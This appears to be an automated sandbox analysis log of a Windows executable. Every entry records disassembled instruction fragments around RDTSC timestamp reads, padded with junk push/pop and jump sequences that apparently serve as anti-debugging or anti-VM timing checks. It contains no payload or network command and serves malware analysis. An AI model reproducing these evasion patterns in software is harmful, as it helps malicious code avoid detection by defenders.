Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820513 second address: 4820545 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 jmp 00007FC6DD08F7A6h 0x0000000e nop 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FC6DD08F79Dh 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820545 second address: 482054A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820668 second address: 4820677 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820677 second address: 482067D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 482067D second address: 4820681 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820681 second address: 4820685 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820685 second address: 4810E70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FC74E2CD75Eh 0x0000000e xor eax, eax 0x00000010 jmp 00007FC6DD068ECAh 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d xor ebx, ebx 0x0000001f cmp eax, 00000000h 0x00000022 je 00007FC6DD08F8F3h 0x00000028 call 00007FC6E181DA41h 0x0000002d mov edi, edi 0x0000002f pushad 0x00000030 mov si, dx 0x00000033 pushfd 0x00000034 jmp 00007FC6DD08F79Fh 0x00000039 sbb si, 468Eh 0x0000003e jmp 00007FC6DD08F7A9h 0x00000043 popfd 0x00000044 popad 0x00000045 xchg eax, ebp 0x00000046 jmp 00007FC6DD08F79Eh 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810E70 second address: 4810E74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810E74 second address: 4810E7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810E7A second address: 4810E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD698E62h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810E90 second address: 4810EB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC6DD08F7A5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810EB9 second address: 4810F0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push esi 0x0000000d mov edx, 7B16DC0Eh 0x00000012 pop edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FC6DD698E60h 0x0000001b popad 0x0000001c popad 0x0000001d xchg eax, ecx 0x0000001e jmp 00007FC6DD698E60h 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 mov dx, cx 0x0000002a mov si, 72FFh 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810F0A second address: 4810F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810F1C second address: 4810F31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E61h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810FDC second address: 4810FE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810FE2 second address: 4810FE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4810FE6 second address: 4810FEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820BEF second address: 4820BF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820BF5 second address: 4820C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007FC6DD08F79Bh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edx, ecx 0x00000014 pushfd 0x00000015 jmp 00007FC6DD08F79Ch 0x0000001a add ax, F798h 0x0000001f jmp 00007FC6DD08F79Bh 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820C2E second address: 4820C7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, ch 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FC6DD698E5Dh 0x0000000f cmp dword ptr [75AB459Ch], 05h 0x00000016 jmp 00007FC6DD698E5Eh 0x0000001b je 00007FC74E8C6BFBh 0x00000021 jmp 00007FC6DD698E60h 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FC6DD698E5Ah 0x00000030 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820C7F second address: 4820C83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820C83 second address: 4820C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820C89 second address: 4820C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD08F79Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820C9A second address: 4820C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820CBC second address: 4820D0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push FD2374EBh 0x0000000b jmp 00007FC6DD08F7A3h 0x00000010 add dword ptr [esp], 7887273Dh 0x00000017 pushad 0x00000018 call 00007FC6DD08F7A4h 0x0000001d mov eax, 1AB7C251h 0x00000022 pop eax 0x00000023 mov ax, dx 0x00000026 popad 0x00000027 call 00007FC74E2C4608h 0x0000002c push 75A52B70h 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov eax, dword ptr [esp+10h] 0x0000003c mov dword ptr [esp+10h], ebp 0x00000040 lea ebp, dword ptr [esp+10h] 0x00000044 sub esp, eax 0x00000046 push ebx 0x00000047 push esi 0x00000048 push edi 0x00000049 mov eax, dword ptr [75AB4538h] 0x0000004e xor dword ptr [ebp-04h], eax 0x00000051 xor eax, ebp 0x00000053 push eax 0x00000054 mov dword ptr [ebp-18h], esp 0x00000057 push dword ptr [ebp-08h] 0x0000005a mov eax, dword ptr [ebp-04h] 0x0000005d mov dword ptr [ebp-04h], FFFFFFFEh 0x00000064 mov dword ptr [ebp-08h], eax 0x00000067 lea eax, dword ptr [ebp-10h] 0x0000006a mov dword ptr fs:[00000000h], eax 0x00000070 ret 0x00000071 push eax 0x00000072 push edx 0x00000073 push eax 0x00000074 push edx 0x00000075 pushad 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820D0B second address: 4820D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820D11 second address: 4820D7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC6DD08F7A6h 0x00000009 sub ecx, 6493D508h 0x0000000f jmp 00007FC6DD08F79Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 sub esi, esi 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FC6DD08F7A5h 0x00000021 jmp 00007FC6DD08F79Bh 0x00000026 popfd 0x00000027 mov edx, eax 0x00000029 popad 0x0000002a mov dword ptr [ebp-1Ch], esi 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FC6DD08F7A1h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820E34 second address: 4820E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820E3A second address: 4820E40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4820E40 second address: 4820E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830A68 second address: 4830ACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC6DD08F7A0h 0x00000008 mov ax, 9D71h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 jmp 00007FC6DD08F7A7h 0x00000015 xchg eax, ebp 0x00000016 jmp 00007FC6DD08F7A6h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FC6DD08F7A7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830ACC second address: 4830AE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD698E64h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830AE4 second address: 4830AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830AE8 second address: 4830B1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FC6DD698E5Ch 0x0000000e mov dword ptr [esp], esi 0x00000011 jmp 00007FC6DD698E60h 0x00000016 mov esi, dword ptr [ebp+0Ch] 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push edx 0x0000001d pop ecx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830B1A second address: 4830B1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830B1F second address: 4830B3F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E64h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830B3F second address: 4830B5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830B5C second address: 4830BAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3F22h 0x00000007 pushfd 0x00000008 jmp 00007FC6DD698E63h 0x0000000d sbb si, 4C1Eh 0x00000012 jmp 00007FC6DD698E69h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b je 00007FC74E8B6674h 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FC6DD698E5Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830BAE second address: 4830BB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830BB4 second address: 4830BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830BB8 second address: 4830C38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [75AB459Ch], 05h 0x0000000f jmp 00007FC6DD08F79Fh 0x00000014 je 00007FC74E2C5057h 0x0000001a jmp 00007FC6DD08F7A6h 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FC6DD08F79Eh 0x00000027 jmp 00007FC6DD08F7A5h 0x0000002c popfd 0x0000002d mov ch, 2Bh 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007FC6DD08F7A9h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830C67 second address: 4830C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830C6B second address: 4830CAB instructions: 0x00000000 rdtsc 0x00000002 movzx eax, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, 0E96006Ah 0x0000000c popad 0x0000000d push ecx 0x0000000e jmp 00007FC6DD08F79Eh 0x00000013 mov dword ptr [esp], esi 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushfd 0x0000001a jmp 00007FC6DD08F79Ch 0x0000001f sub si, E058h 0x00000024 jmp 00007FC6DD08F79Bh 0x00000029 popfd 0x0000002a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 4830CAB second address: 4830CC7 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FC6DD698E64h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B7F85D second address: 5B7F86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 ja 00007FC6DD08F7A2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B7F86C second address: 5B7F872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B7FAF4 second address: 5B7FAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B7FFAE second address: 5B7FFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B7FFB4 second address: 5B7FFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B819CF second address: 5B819D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B819D3 second address: 5B81A38 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FC6DD08F7A7h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FC6DD08F79Ah 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e jl 00007FC6DD08F796h 0x00000024 pop eax 0x00000025 jmp 00007FC6DD08F79Fh 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FC6DD08F7A2h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81A38 second address: 5B81A41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81AE7 second address: 5B81B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 4EF3588Ah 0x00000011 jmp 00007FC6DD08F7A1h 0x00000016 push 00000003h 0x00000018 call 00007FC6DD08F7A9h 0x0000001d pop esi 0x0000001e push 00000000h 0x00000020 mov cx, ax 0x00000023 mov ecx, dword ptr [ebp+122D2EECh] 0x00000029 push 00000003h 0x0000002b sub edi, 3196D0CDh 0x00000031 push 8692905Eh 0x00000036 push ebx 0x00000037 push esi 0x00000038 jns 00007FC6DD08F796h 0x0000003e pop esi 0x0000003f pop ebx 0x00000040 xor dword ptr [esp], 4692905Eh 0x00000047 mov dx, 307Fh 0x0000004b lea ebx, dword ptr [ebp+124578FBh] 0x00000051 jmp 00007FC6DD08F7A8h 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 jmp 00007FC6DD08F79Ah 0x0000005d pushad 0x0000005e jmp 00007FC6DD08F79Fh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81CC8 second address: 5B81CE9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC6DD698E58h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC6DD698E62h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81CE9 second address: 5B81CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC6DD08F79Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81CFB second address: 5B81CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81CFF second address: 5B81D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81D0F second address: 5B81D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81D1E second address: 5B81D27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81E11 second address: 5B81E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81E16 second address: 5B81E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81E1B second address: 5B81E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD698E5Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e jnl 00007FC6DD698E5Ch 0x00000014 pop ebx 0x00000015 nop 0x00000016 jc 00007FC6DD698E5Ah 0x0000001c mov cx, 4400h 0x00000020 push 00000000h 0x00000022 mov di, ax 0x00000025 push F4B906CCh 0x0000002a push eax 0x0000002b push edx 0x0000002c js 00007FC6DD698E62h 0x00000032 jmp 00007FC6DD698E5Ch 0x00000037 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81E66 second address: 5B81E6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81E6B second address: 5B81ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 0B46F9B4h 0x0000000e movsx ecx, di 0x00000011 push 00000003h 0x00000013 mov esi, dword ptr [ebp+122D3BD8h] 0x00000019 push 00000000h 0x0000001b mov di, bx 0x0000001e push 00000003h 0x00000020 jmp 00007FC6DD698E63h 0x00000025 call 00007FC6DD698E59h 0x0000002a pushad 0x0000002b je 00007FC6DD698E5Ch 0x00000031 jnp 00007FC6DD698E56h 0x00000037 jc 00007FC6DD698E5Ch 0x0000003d popad 0x0000003e push eax 0x0000003f pushad 0x00000040 jmp 00007FC6DD698E62h 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81ED8 second address: 5B81EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FC6DD08F79Eh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B81EF7 second address: 5B81EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA21AF second address: 5BA21D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F7A0h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC6DD08F79Ah 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5B6CF13 second address: 5B6CF18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA062E second address: 5BA0664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FC6DD08F7A8h 0x0000000b jmp 00007FC6DD08F7A4h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA094F second address: 5BA0954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA0EB1 second address: 5BA0EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA1146 second address: 5BA115F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD698E63h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA115F second address: 5BA1174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FC6DD08F79Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 5BA1174 second address: 5BA117A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
